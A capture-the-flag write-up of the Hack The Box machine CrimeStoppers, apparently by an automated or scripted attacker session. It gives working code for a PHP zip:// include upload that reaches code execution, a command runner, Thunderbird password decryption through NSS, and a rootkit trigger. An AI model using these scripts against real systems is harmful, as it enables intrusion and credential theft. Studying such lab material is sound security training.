HTB: CrimeStoppers
A PHP include that appends .php is fed a zip stored by the tip form for code as www-data, a world-readable Thunderbird profile gives up the mail password, SSH over IPv6 walks past the IPv4 firewall, and an Apache backdoor module with a renamed trigger hands over root.
- Published
- Reading time
- 27 min
- Difficulty
- hard
- Target
- Linux (CrimeStoppers)
Overview
CrimeStoppers is a tip line with one open port. The front controller includes whatever page name it is given, with .php appended, and the tip form stores whatever bytes it is given. Put together, a zip archive posted as a tip and a zip:// wrapper in the page parameter run PHP as www-data. From there the chain is about files left readable: a mail client profile with saved logins and no master password, a firewall written for IPv4 only, and a backdoor module in the Apache module directory that the user dom can read.
One declaration first. I had read write-ups of this machine before the session and remembered its outline: an include read through a filter wrapper, an upload turned into code through a zip wrapper, a mail profile holding a password, a backdoored Apache module. Each step that memory prompted is marked below. Spawn to root took under five minutes on the log’s clock, which measures recall, not difficulty. No hints were used. The one dead end was mine: three attempts to decrypt the saved mail logins before one worked.
Reconnaissance
The default scan of the top 1000 ports, then every port in the background:
cd ../.. && bin/kali crimestoppers "nmap -sC -sV -oN /work/scans/01-top.nmap 10.129.102.48"
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-26 08:37 +0000
Nmap scan report for 10.129.102.48
Host is up (0.31s latency).
Not shown: 978 filtered tcp ports (no-response), 21 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Ubuntu))
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_http-title: FBIs Most Wanted: FSociety
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.91 seconds
[lr exit 0]
cd ../.. && bin/kali crimestoppers "nmap -p- --min-rate 2000 -oN /work/scans/02-full.nmap 10.129.102.48"
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-26 08:37 +0000
Nmap scan report for 10.129.102.48
Host is up (0.28s latency).
Not shown: 65463 filtered tcp ports (no-response), 71 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 67.01 seconds
[lr exit 0]
Port 80 answers and nothing else does. The split in the filtered count matters later: 71 ports answered with an ICMP host-prohibited message, which is what an iptables REJECT rule sends, so a host firewall is in front of whatever else listens. The other 65,463 gave no answer at all, which I come back to once the rule set is in hand.
The front page, robots.txt, and the page parameter with a name that should not exist:
for p in / /robots.txt "/?op=nosuch"; do echo "### GET $p"; curl -s -i -m 15 -c scans/jar.txt "http://10.129.102.48$p" | cut -c1-400; echo; done
### GET /
HTTP/1.1 200 OK
Date: Thu, 26 Nov 2026 08:37:40 GMT
Server: Apache/2.4.25 (Ubuntu)
Set-Cookie: admin=0
Vary: Accept-Encoding
Content-Length: 4213
Content-Type: text/html; charset=UTF-8
[...]
### GET /robots.txt
HTTP/1.1 404 Not Found
[...]
### GET /?op=nosuch
HTTP/1.1 200 OK
[...]
<h2>Error</h2>
<p>no such page</p>
[...]
The site sets a cookie admin=0 on first contact, navigation goes through ?op=<name>, and an unknown name returns a page that says no such page with status 200, so the parameter is resolved against something on the server.
Attack Surface Analysis
| Surface | Weakness | CWE |
|---|---|---|
index.php, parameter op |
User input used as an include path with only .. and NUL rejected; stream wrappers pass |
CWE-98 |
upload.php, field tip |
Arbitrary bytes written under the web root, the stored name returned to the client | CWE-434 |
Cookie admin |
A client-set value decides whether the List link is shown | CWE-784 |
/home/dom/.thunderbird |
Root-owned copy of a mail profile, readable by every local account | CWE-732 |
logins.json and key3.db |
Saved mail logins protected by an empty master password | CWE-522 |
Account dom |
The saved mail password is accepted by SSH for the system account | CWE-308 |
| Host firewall | Rules for IPv4 only; ip6tables accepts everything and sshd listens on IPv6 |
CWE-1188 |
mod_rootme.so |
Backdoor module loaded into Apache; a magic request line returns a root shell | CWE-506 |
| Apache access logs | Earlier trigger attempts recorded as request lines, readable by group adm |
CWE-532 |
Vulnerability Analysis
The op values were probed with the cookie at 0 and at 1, and the source of each page was then pulled through a base64 filter wrapper. list and view were guesses from memory of the outline, so was the filter wrapper itself, and so was the name common in the script’s argument list: nothing on the front page gives it, and it was requested before any source had been read. home and upload come from the navigation links; the observable that should lead there without memory is the no such page answer above, which says a name is being resolved on the server. The first half of the command is the probe, the second half calls this script:
for u in "?op=nosuch" "?op=upload" "?op=list" "?op=view"; do printf "### %s admin=0: " "$u"; curl -s -m 15 -b admin=0 -o /dev/null -w "%{http_code} %{size_download}\n" "http://10.129.102.48/$u"; printf "### %s admin=1: " "$u"; curl -s -m 15 -b admin=1 -o /dev/null -w "%{http_code} %{size_download}\n" "http://10.129.102.48/$u"; done; curl -s -m 15 -b admin=1 "http://10.129.102.48/?op=nosuch" | sed -n "/Page Content/,/footer/p" | head -12; bash artifacts/04-src.sh index home upload list view common
# for each page name: request ?op=php://filter/convert.base64-encode/resource=<name> with admin=1, take the longest
# base64 run in the answer and save it decoded as loot/<name>.php; print status, size and saved size
# usage: 04-src.sh <name>...
for n in "$@"; do
curl -s -m 20 -b admin=1 -w '\n[%{http_code} %{size_download}]\n' "http://10.129.102.48/?op=php://filter/convert.base64-encode/resource=$n" > scans/04-$n.raw
tail -1 scans/04-$n.raw | tr '\n' ' '
grep -oE '[A-Za-z0-9+/=]{200,}' scans/04-$n.raw | awk '{ if (length($0) > length(m)) m = $0 } END { print m }' | base64 -d > loot/$n.php 2>/dev/null
echo "$n -> loot/$n.php $(wc -c < loot/$n.php) bytes"
done
### ?op=nosuch admin=0: 200 1757
### ?op=nosuch admin=1: 200 1793
### ?op=upload admin=0: 200 2567
### ?op=upload admin=1: 200 2603
### ?op=list admin=0: 200 1855
### ?op=list admin=1: 200 1891
### ?op=view admin=0: 302 1694
### ?op=view admin=1: 302 1730
[200 5086] index -> loot/index.php 2515 bytes
[200 5130] home -> loot/home.php 2550 bytes
[200 4250] upload -> loot/upload.php 1889 bytes
[200 2430] list -> loot/list.php 523 bytes
[200 2298] view -> loot/view.php 426 bytes
[200 2110] common -> loot/common.php 283 bytes
[lr exit 0]
Every page grows by 36 bytes with admin=1: that is the List link; nothing else in the pages read below depends on the cookie (home.php was saved and not read). All six sources came back. The saved files were then read locally (the listing drops blank lines, which is why the line numbers skip):
for f in index upload list view common; do echo "##### loot/$f.php"; cat -n loot/$f.php | grep -v "^ *[0-9]*\s*$" | cut -c1-200 | sed -n 1,70p; done; cat artifacts/02-full.out 2>/dev/null | tail -8
The head of index.php, then upload.php, list.php, view.php and common.php:
##### loot/index.php
1 <?php
2 error_reporting(0);
3 define('FROM_INDEX', 1);
5 $op = empty($_GET['op']) ? 'home' : $_GET['op'];
6 if(!is_string($op) || preg_match('/\.\./', $op) || preg_match('/\0/', $op))
7 die('Are you really trying ' . htmlentities($op) . '!? Did we Time Travel? This isn\'t the 90\'s');
9 //Cookie
10 if(!isset($_COOKIE['admin'])) {
11 setcookie('admin', '0');
12 $_COOKIE['admin'] = '0';
13 }
[...]
##### loot/upload.php
1 <?php
2 include 'common.php';
4 // Stop the automated tools from filling up our ticket system.
5 session_start();
6 if (empty($_SESSION['token'])) {
7 $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
8 }
9 $token = $_SESSION['token'];
11 $client_ip = $_SERVER['REMOTE_ADDR'];
13 // If this is a submission, write $tip to file.
15 if(isset($_POST['submit']) && isset($_POST['tip'])) {
16 // CSRF Token to help ensure this user came from our submission form.
17 if (!empty($_POST['token'])) {
18 if (hash_equals($token, $_POST['token'])) {
19 $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
20 // Place tips in the folder of the client IP Address.
21 if (!is_dir('uploads/' . $client_ip)) {
22 mkdir('uploads/' . $client_ip, 0755, false);
23 }
24 $tip = $_POST['tip'];
25 $secretname = genFilename();
26 file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
27 header("Location: ?op=view&secretname=$secretname");
28 } else {
29 print 'Hacker Detected.';
30 print $token;
31 die();
32 }
33 }
34 } else {
[...]
##### loot/list.php
1 <?php
2 include 'common.php';
3 ?>
4 <div class="container">
5 <h2>Upload FSociety Sightings</h2>
6 <ul>
7 <li><a href="?op=view&secretname=whiterose.txt">Whiterose.txt</a></li>
8 <?php
9 // Only show files uploaded by the client. This is to prevent people from accessing eachothers uploads.
10 foreach (scandir("uploads/" . $_SERVER['REMOTE_ADDR']) as $file) {
11 if (!preg_match('(\.)', $file)) {
12 echo "<li><a href=\"?op=view&secretname=" . $file . "\">" . $file . "</a></li>";
13 }
14 }
15 ?>
16 </ul>
##### loot/view.php
1 <?php
2 include 'common.php';
4 if(empty($_GET['secretname'])) {
5 header('Location: ?op=home');
6 exit();
7 }
9 $secretname = $_GET['secretname'];
10 if ($secretname == "whiterose.txt") {
11 $tip = file_get_contents('uploads/' . basename($secretname));
12 } else {
13 $tip = file_get_contents('uploads/' . $_SERVER['REMOTE_ADDR'] . '/' . basename($secretname));
14 }
16 ?>
18 <?php
19 echo "Your Tip:<br />";
20 echo htmlentities($tip);
21 ?>
22 </script>
##### loot/common.php
1 <?php
2 /* Stop hackers. */
3 if(!defined('FROM_INDEX')) die();
5 // If the hacker cannot control the filename, it's totally safe to let them write files... Or is it?
6 function genFilename() {
7 return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
8 }
10 ?>
[...]
The include itself sits below the 70 lines that listing kept, so it was cut out separately (first six lines of the next command’s output, shown with that command below):
11-}
12-register_shutdown_function('page_bottom');
13-page_top($op);
14:if(!(include $op . '.php'))
15- fatal('no such page');
16-?>
[...]
The check on op rejects two things: .. and a NUL byte. That stops directory traversal and the old trick of cutting off the appended .php. It does nothing about PHP stream wrappers: php://filter/... and zip://... contain neither, and a wrapper can supply a name ending in .php from inside a file the attacker controls.
upload.php supplies that file. The tip is written with file_put_contents exactly as posted, into uploads/<client address>/, under a name made of a SHA-1 the client cannot predict. The comment in common.php states the assumption: if the attacker cannot choose the file name, letting them write is safe. It fails three times. The name comes back in the Location header, list.php prints every stored name for the caller’s address, and the include needs a known path, not a chosen name. The CSRF token is why the upload needs a session; it stops nobody who fetches the form first.
The one tip the List page links to is a note from the fictional attacker, and it says the same thing in plain words (output with the plant below).
Exploitation
Phase 1: remote to www-data
The zip wrapper is recall from write-ups; what makes it fit here is in the source just read. zip://<archive>#<member> opens a member of a zip archive, the include appends .php, so op=zip://uploads/<client address>/<sha1>%23r asks PHP for the member r.php of the stored tip. The laptop accepts no inbound connections, so nothing in this chain calls back: the member is a small runner that takes a base64 script in a POST field, writes it to /dev/shm, runs it with bash and deletes it.
sed -n 77,200p loot/index.php | grep -v "^\s*$" | grep -n -i -B3 -A6 "include\|require"; echo "### whiterose"; curl -s -m 15 -b admin=1 "http://10.129.102.48/?op=view&secretname=whiterose.txt" | sed -n "/Your Tip/,/script/p"; python3 -I artifacts/06-plant.py
# plant the runner: build a zip holding r.php in memory, fetch the tip form for its session token, post the zip bytes as
# the tip (multipart, so they arrive unaltered), and take the stored name from the Location header. The include in
# index.php appends ".php" to op, so op=zip://uploads/<client address>/<name>%23r resolves to r.php inside the zip.
# The client address is the tun0 address, read locally; the include path is written to scans/runner.url (not printed).
# usage: 06-plant.py
import io, re, subprocess, zipfile, requests
T = "http://10.129.102.48/"
me = re.search(r"inet (\S+?)/", subprocess.run(["ip", "-4", "-o", "addr", "show", "tun0"], capture_output=True, text=True).stdout).group(1)
php = b'<?php if (isset($_POST["s"])) { $f = tempnam("/dev/shm", "r"); file_put_contents($f, base64_decode($_POST["s"])); passthru("bash $f 2>&1"); unlink($f); } ?>'
z = io.BytesIO()
with zipfile.ZipFile(z, "w", zipfile.ZIP_STORED) as a:
a.writestr("r.php", php)
s = requests.Session()
tok = re.search(r'name="token"[^>]*value="([0-9a-f]+)"', s.get(T + "?op=upload", timeout=20).text).group(1)
r = s.post(T + "?op=upload", files={"tip": (None, z.getvalue()), "name": (None, "x"), "token": (None, tok), "submit": (None, "Send Tip!")}, allow_redirects=False, timeout=20)
print("zip %d bytes, post -> %d, Location %s" % (len(z.getvalue()), r.status_code, r.headers.get("Location")))
name = re.search(r"secretname=([0-9a-f]{40})", r.headers["Location"]).group(1)
open("scans/runner.url", "w").write("%s?op=zip://uploads/%s/%s%%23r" % (T, me, name))
print("include path saved to scans/runner.url (client address 10.10.14.X not printed)")
[...]
### whiterose
Your Tip:<br />Hello,
<br />
You guys should really learn to code, one of the GET Parameters is still vulnerable. Most will think it just leads to a Source Code disclosure but there is a chain that provides RCE.
<br />
Contact WhiteRose@DarkArmy.htb for more info.
</script>
zip 264 bytes, post -> 302, Location ?op=view&secretname=d0ab8aec7c99c20a7489a45ff4bcf263f812085f
include path saved to scans/runner.url (client address 10.10.14.X not printed)
[lr exit 0]
The post returned 302 with the stored name. The include URL holds my client address, so it goes to a local file. Commands then go through a second script that wraps a local file in two markers and prints what comes back between them:
# run a local script file on the target through the planted runner: the file goes base64 in the POST field s; the answer
# is the page, so print only what lies between the two marker lines the script is wrapped in
# usage: 07-run.py <script file>
import base64, sys, requests
src = "echo ___B___\n" + open(sys.argv[1]).read() + "\necho ___E___\n"
r = requests.post(open("scans/runner.url").read(), data={"s": base64.b64encode(src.encode())}, cookies={"admin": "1"}, timeout=120)
t = r.text
print("%s: %d -> %s" % (sys.argv[1], len(src), r.status_code))
print(t[t.find("___B___") + 8 : t.find("___E___")] if "___B___" in t else t[:600])
python3 -I artifacts/07-run.py artifacts/08-id.sh
id; hostname; uname -a; pwd
ls -la . uploads | head -40
ls -la /home /home/*
cat /etc/passwd | grep -v -e nologin -e /bin/false
artifacts/08-id.sh: 155 -> 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
crimestoppers
Linux crimestoppers 4.10.0-42-generic #46-Ubuntu SMP Mon Dec 4 14:38:01 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html
.:
total 56
drwxr-xr-x 7 root dom 4096 Dec 23 2017 .
drwxr-xr-x 3 root root 4096 Dec 16 2017 ..
-rw-r--r-- 1 root dom 283 Dec 16 2017 common.php
drwxrwxr-x 2 root dom 4096 Dec 16 2017 css
drwxrwxr-x 2 root dom 4096 Dec 16 2017 fonts
-rw-r--r-- 1 root dom 2550 Dec 16 2017 home.php
drwxr-xr-x 2 root dom 4096 Dec 16 2017 images
-rw-r--r-- 1 root dom 2515 Dec 23 2017 index.php
drwxrwxr-x 2 root dom 4096 Dec 16 2017 js
-rw-r--r-- 1 root dom 523 Dec 22 2017 list.php
-rw-r--r-- 1 root dom 130 Dec 16 2017 super-secret-credits-random-stuff
-rw-r--r-- 1 root dom 1889 Dec 23 2017 upload.php
drwxrwxrwx 3 root dom 4096 Nov 26 00:38 uploads
-rw-r--r-- 1 root dom 426 Dec 23 2017 view.php
uploads:
total 76
drwxrwxrwx 3 root dom 4096 Nov 26 00:38 .
drwxr-xr-x 7 root dom 4096 Dec 23 2017 ..
[...]
-rw-r--r-- 1 root dom 25 Dec 16 2017 index.html
-rw-r--r-- 1 root dom 56469 Dec 16 2017 source.jpg
-rw-r--r-- 1 dom dom 251 Dec 23 2017 whiterose.txt
/home:
total 12
drwxr-xr-x 3 root root 4096 Dec 16 2017 .
drwxr-xr-x 22 root root 4096 Dec 16 2017 ..
drwxr-xr-x 5 dom dom 4096 Oct 27 2023 dom
/home/dom:
total 40
drwxr-xr-x 5 dom dom 4096 Oct 27 2023 .
drwxr-xr-x 3 root root 4096 Dec 16 2017 ..
-rw------- 1 dom dom 52 Dec 16 2017 .Xauthority
lrwxrwxrwx 1 root root 9 Oct 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dom dom 220 Dec 16 2017 .bash_logout
-rw-r--r-- 1 dom dom 3771 Dec 16 2017 .bashrc
drwx------ 2 dom dom 4096 Dec 16 2017 .cache
-rw-r--r-- 1 dom dom 675 Dec 16 2017 .profile
drwx------ 2 dom dom 4096 Dec 25 2017 .ssh
-rw-r--r-- 1 dom dom 0 Dec 16 2017 .sudo_as_admin_successful
drw-r-xr-x 3 root root 4096 Dec 16 2017 .thunderbird
-r--r--r-- 1 root root 33 Nov 26 00:36 user.txt
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
dom:x:1000:1000:dom,,,:/home/dom:/bin/bash
[lr exit 0]
(The one line cut from the uploads listing is the directory named after my client address.)
Code runs as www-data, in the second minute after spawn. Two lines in that listing set up the rest: user.txt is mode 444, and .thunderbird in the home of dom is owned by root with mode drw-r-xr-x, so the owner bits are odd but everyone else can enter and list it.
Phase 2: www-data to dom
The flag was saved without being printed (a filter turns B64FILE: lines into local files and prints only the size), and the profile was listed:
python3 -I artifacts/07-run.py artifacts/09-tb.sh | python3 -I ../../tools/b64file-filter.py loot
echo "B64FILE:user.txt:$(base64 -w0 /home/dom/user.txt)"
cat super-secret-credits-random-stuff
find /home/dom/.thunderbird -type f -printf '%s %M %u %p\n' 2>&1 | head -60
du -sb /home/dom/.thunderbird 2>&1 | tail -1
ss -tlnp 2>/dev/null | head -20
sudo -n -l 2>&1 | head -3
artifacts/09-tb.sh: 301 -> 200
saved artifacts/user.txt: 33 bytes
This was inspired/modified from the 2016 Plaid CTF (Web Pixel Shop), I hope you enjoyed it! Best of luck getting root.
- IppSec
[...]
16384 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/key3.db
[...]
65536 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/cert8.db
1213336 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/places.sqlite-wal
1114 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/logins.json
[...]
4464 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb/INBOX.msf
2599 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb/Drafts-1.msf
2716 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb/Drafts-1
[...]
1024 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb/INBOX
[...]
7767 -rw-r-xr-x root /home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb/Sent-1
[...]
8201382 /home/dom/.thunderbird
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:5355 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 128 :::5355 :::*
LISTEN 0 128 :::80 :::*
LISTEN 0 128 :::22 :::*
sudo: a password is required
[lr exit 0]
Every file in the profile is root-owned and readable by others. The listener table is the second find: sshd is bound to *:22 and to :::22, yet the scan saw port 22 filtered. Either the firewall covers both address families, or it covers one.
The login store, its key database and the three mail folders with content were copied out, along with the target’s IPv6 address:
python3 -I artifacts/07-run.py artifacts/10-loot.sh | python3 -I ../../tools/b64file-filter.py loot; python3 -I -c "import json; d=json.load(open(\"loot/logins.json\")); print([(l[\"hostname\"], sorted(l.keys())[:4]) for l in d[\"logins\"]])"; grep -c -i "pass" loot/mail-*.mbox; ip -6 -br addr show tun0 | awk "{print \$1, (NF>2 ? \"has-v6\" : \"no-v6\")}"; cd ../.. && bin/kali crimestoppers "ls /usr/share/firefox_decrypt* /usr/bin/firefox_decrypt* 2>&1 | head -3; python3 -c \"import nss\" 2>&1 | tail -1; which pk12util certutil modutil 2>&1"
P=/home/dom/.thunderbird/36jinndk.default
for f in logins.json key3.db cert8.db; do echo "B64FILE:$f:$(base64 -w0 $P/$f)"; done
for f in INBOX Drafts-1 Sent-1; do echo "B64FILE:mail-$f.mbox:$(base64 -w0 $P/ImapMail/crimestoppers.htb/$f)"; done
ip -6 -o addr show scope global | awk '{print $2, $4}'
id dom
ls -la /var/log/apache2 | head; ls -la /usr/lib/apache2/modules | awk '$6 ~ /Dec/ || $8 ~ /2017|2018/' | tail -8
artifacts/10-loot.sh: 446 -> 200
saved loot/logins.json: 1114 bytes
saved loot/key3.db: 16384 bytes
saved loot/cert8.db: 65536 bytes
saved loot/mail-INBOX.mbox: 1024 bytes
saved loot/mail-Drafts-1.mbox: 2716 bytes
saved loot/mail-Sent-1.mbox: 7767 bytes
eth0 dead:beef::a0de:adff:fe0d:9bd1/64
uid=1000(dom) gid=1000(dom) groups=1000(dom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
ls: cannot open directory '/var/log/apache2': Permission denied
-rw-r--r-- 1 root root 22568 Sep 18 2017 mod_status.so
-rw-r--r-- 1 root root 14376 Sep 18 2017 mod_substitute.so
-rw-r--r-- 1 root root 10280 Sep 18 2017 mod_suexec.so
-rw-r--r-- 1 root root 10208 Sep 18 2017 mod_unique_id.so
-rw-r--r-- 1 root root 10280 Sep 18 2017 mod_userdir.so
-rw-r--r-- 1 root root 14376 Sep 18 2017 mod_usertrack.so
-rw-r--r-- 1 root root 10280 Sep 18 2017 mod_vhost_alias.so
-rw-r--r-- 1 root root 22568 Sep 18 2017 mod_xml2enc.so
[('imap://crimestoppers.htb', ['encType', 'encryptedPassword', 'encryptedUsername', 'formSubmitURL']), ('smtp://crimestoppers.htb', ['encType', 'encryptedPassword', 'encryptedUsername', 'formSubmitURL'])]
loot/mail-Drafts-1.mbox:0
loot/mail-INBOX.mbox:0
loot/mail-Sent-1.mbox:0
tun0 has-v6
ls: cannot access '/usr/share/firefox_decrypt*': No such file or directory
ls: cannot access '/usr/bin/firefox_decrypt*': No such file or directory
ModuleNotFoundError: No module named 'nss'
[lr exit 1]
The target has a global IPv6 address and so does my tunnel interface. dom is in adm and sudo. The store holds two logins, for IMAP and SMTP. The module listing at the end was a bad filter of mine and is redone below. The last three lines cost the next two minutes: the tools image has no decryptor for Mozilla login stores.
Dead end, three failed attempts. The first idea was to call NSS through ctypes in the container. The scripts read a directory loot/profile, a copy of the three files made first; the log records the command as:
cp loot/{logins.json,key3.db,cert8.db} loot/profile/
Then:
cd ../.. && bin/kali crimestoppers "ls /usr/lib/x86_64-linux-gnu/libnss3.so /usr/lib/x86_64-linux-gnu/nss/ 2>&1 | tr \"\n\" \" \"; echo; cd /work && python3 -I artifacts/11-nss.py loot/profile loot"; cmp loot/0.pw loot/1.pw && echo "both stored passwords are the same"
# decrypt the saved logins of a Thunderbird profile copy with the NSS library through ctypes (empty master password):
# NSS_Init on the directory holding key3.db/cert8.db, PK11SDR_Decrypt on each base64 field of logins.json.
# User names are printed; each password is written to <out dir>/<n>.pw (mode 0600) and only its length is printed.
# usage: 11-nss.py <profile dir> <out dir>
import base64, ctypes, json, os, sys
class Item(ctypes.Structure):
_fields_ = [("type", ctypes.c_uint), ("data", ctypes.c_char_p), ("len", ctypes.c_uint)]
nss = ctypes.CDLL("libnss3.so")
rc = nss.NSS_Init(("dbm:" + sys.argv[1]).encode())
print("NSS_Init(dbm:) ->", rc)
if rc != 0:
sys.exit("init failed, PORT_GetError %d" % nss.PORT_GetError())
def dec(b64):
raw = base64.b64decode(b64)
i, o = Item(0, raw, len(raw)), Item(0, None, 0)
if nss.PK11SDR_Decrypt(ctypes.byref(i), ctypes.byref(o), None) != 0:
sys.exit("decrypt failed, PORT_GetError %d" % nss.PORT_GetError())
return ctypes.string_at(o.data, o.len).decode()
for n, l in enumerate(json.load(open(sys.argv[1] + "/logins.json"))["logins"]):
u, p = dec(l["encryptedUsername"]), dec(l["encryptedPassword"])
path = "%s/%d.pw" % (sys.argv[2], n)
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); os.write(fd, p.encode()); os.close(fd)
o = os.stat("."); os.chown(path, o.st_uid, o.st_gid)
print("%s user %s password %d characters -> %s" % (l["hostname"], u, len(p), path))
ls: cannot access '/usr/lib/x86_64-linux-gnu/libnss3.so': No such file or directory ls: cannot access '/usr/lib/x86_64-linux-gnu/nss/': No such file or directory
Traceback (most recent call last):
File "/work/artifacts/11-nss.py", line 8, in <module>
nss = ctypes.CDLL("libnss3.so")
File "/usr/lib/python3.14/ctypes/__init__.py", line 433, in __init__
self._handle = self._load_library(name, mode, handle, winmode)
~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.14/ctypes/__init__.py", line 475, in _load_library
return _dlopen(name, mode)
OSError: libnss3.so: cannot open shared object file: No such file or directory
cmp: loot/0.pw: No such file or directory
[lr exit 2]
No libnss3 in the image. The target had the mail client’s profile, so perhaps it had the library; the same calls were sent through the runner to decrypt in place:
python3 -I artifacts/07-run.py artifacts/12-nss.sh | python3 -I ../../tools/b64file-filter.py loot; cmp loot/dom-0.pw loot/dom-1.pw && echo "both stored passwords are the same"; wc -c loot/dom-*.pw
ls /usr/lib/x86_64-linux-gnu/libnss3.so* 2>&1; which python3 python 2>&1
python3 - <<'PY' 2>&1
import base64, ctypes, json
class Item(ctypes.Structure):
_fields_ = [("type", ctypes.c_uint), ("data", ctypes.c_char_p), ("len", ctypes.c_uint)]
P = "/home/dom/.thunderbird/36jinndk.default"
nss = ctypes.CDLL("libnss3.so")
print("NSS_Init ->", nss.NSS_Init(P.encode()))
def dec(b64):
raw = base64.b64decode(b64)
i, o = Item(0, raw, len(raw)), Item(0, None, 0)
rc = nss.PK11SDR_Decrypt(ctypes.byref(i), ctypes.byref(o), None)
return ctypes.string_at(o.data, o.len) if rc == 0 else b""
for n, l in enumerate(json.load(open(P + "/logins.json"))["logins"]):
u, p = dec(l["encryptedUsername"]), dec(l["encryptedPassword"])
print("%s user %s password %d characters" % (l["hostname"], u.decode(), len(p)))
print("B64FILE:dom-%d.pw:%s" % (n, base64.b64encode(p).decode()))
PY
artifacts/12-nss.sh: 923 -> 200
ls: cannot access '/usr/lib/x86_64-linux-gnu/libnss3.so*': No such file or directory
/usr/bin/python3
Traceback (most recent call last):
File "<stdin>", line 5, in <module>
File "/usr/lib/python3.5/ctypes/__init__.py", line 347, in __init__
self._handle = _dlopen(self._name, mode)
OSError: libnss3.so: cannot open shared object file: No such file or directory
cmp: loot/dom-0.pw: No such file or directory
wc: 'loot/dom-*.pw': No such file or directory
[lr exit 1]
Not there either. Two failures on one idea, so it was set aside; the mail was read and the module directory listed properly:
for f in INBOX Drafts-1 Sent-1; do echo "##### loot/mail-$f.mbox"; grep -v -i -e "^X-Mozilla" -e "^User-Agent" -e "^Content-" -e "^MIME" -e "^Message-ID" -e "^X-" loot/mail-$f.mbox | grep -v "^\s*$" | cut -c1-240; done; python3 -I artifacts/07-run.py artifacts/13-mods.sh
cd /usr/lib/apache2/modules; ls -la --time-style=long-iso | awk '{print $6}' | sort | uniq -c
ls -la --time-style=long-iso | grep -v 2017-09-18
ls -la /etc/apache2/mods-enabled | awk '{print $9,$10,$11}' | grep -v -e '^ ' | tr '\n' ' '
dpkg -S /usr/lib/apache2/modules/*.so 2>&1 | grep -v '^apache2-bin:' | head
The mail, with duplicates and the HTML copy of the forwarded message cut:
##### loot/mail-INBOX.mbox
From - Sat Dec 16 11:47:00 2017
Return-Path: WhiteRose@DarkArmy.htb
Received: from [172.16.10.153] (ubuntu [172.16.10.153])
by DESKTOP-2EA0N1O with ESMTPA
; Sat, 16 Dec 2017 14:46:57 -0500
To: dom@CrimeStoppers.htb
From: WhiteRose <WhiteRose@DarkArmy.htb>
Subject: RCE Vulnerability
Date: Sat, 16 Dec 2017 11:46:54 -0800
Thunderbird/52.5.0
Hello,
I left note on "Leave a tip" page but no response. Major vulnerability
exists in your site! This gives code execution. Continue to investigate
us, we will sell exploit! Perhaps buyer will not be so kind.
For more details place 1 million ecoins in your wallet. Payment
instructions will be sent once we see you move money.
[...]
##### loot/mail-Sent-1.mbox
From
Subject: Re: RCE Vulnerability
To: WhiteRose <WhiteRose@DarkArmy.htb>
References: <9bf4236f-9487-a71a-bca7-90fa7b9e869f@DarkArmy.htb>
From: dom <dom@crimestoppers.htb>
Date: Sat, 16 Dec 2017 11:49:27 -0800
Thunderbird/52.5.0
In-Reply-To: <9bf4236f-9487-a71a-bca7-90fa7b9e869f@DarkArmy.htb>
If we created a bug bounty page, would you be open to using them as a
middle man? Submit the bug, they will verify the existence and handle
the payment.
I don't know how this ecoins things work.
[...]
From
To: elliot@ecorp.htb
From: dom <dom@crimestoppers.htb>
Subject: Potential Rootkit
Date: Sat, 16 Dec 2017 12:55:24 -0800
Thunderbird/52.5.0
Elliot.
We got a suspicious email from the DarkArmy claiming there is a Remote
Code Execution bug on our Webserver. I don't trust them and ran
rkhunter, it reported that there a rootkit installed called:
apache_modrootme backdoor.
According to my research, if this rootkit was on the server I should be
able to run "nc localhost 80" and then type "get root" to get a root
shell. However, the server just errors out without providing any shell
at all. Would you mind checking if this is a false positive?
[...]
And the module directory:
[...]
artifacts/13-mods.sh: 339 -> 200
1
1 2017-08-08
113 2017-09-18
3 2017-12-16
1 2017-12-22
total 7296
drwxr-xr-x 2 root root 4096 2017-12-16 12:37 .
drwxr-xr-x 3 root root 4096 2017-12-16 12:05 ..
-rw-r--r-- 1 root root 4295016 2017-08-08 15:03 libphp7.0.so
lrwxrwxrwx 1 root root 12 2017-12-16 12:37 libphp7.so -> libphp7.0.so
-rw-r----- 1 root dom 48584 2017-12-22 10:16 mod_rootme.so
[...]
dpkg-query: no path found matching pattern /usr/lib/apache2/modules/libphp7.so
dpkg-query: no path found matching pattern /usr/lib/apache2/modules/mod_rootme.so
[lr exit 0]
(The line cut there is the list of enabled modules, several hundred characters wide.)
The mail gives the story: dom ran rkhunter, it reported the apache_modrootme backdoor, and the published trigger get root “just errors out”. The directory confirms a module is there: 113 files dated like the package, and one mod_rootme.so from 22 December 2017 that dpkg does not attribute to any package, mode 640, owner root, group dom. Looking for such a module was prompted by the remembered outline; the mail alone leads to the same directory. www-data cannot read the file, so the password in the login store is needed after all.
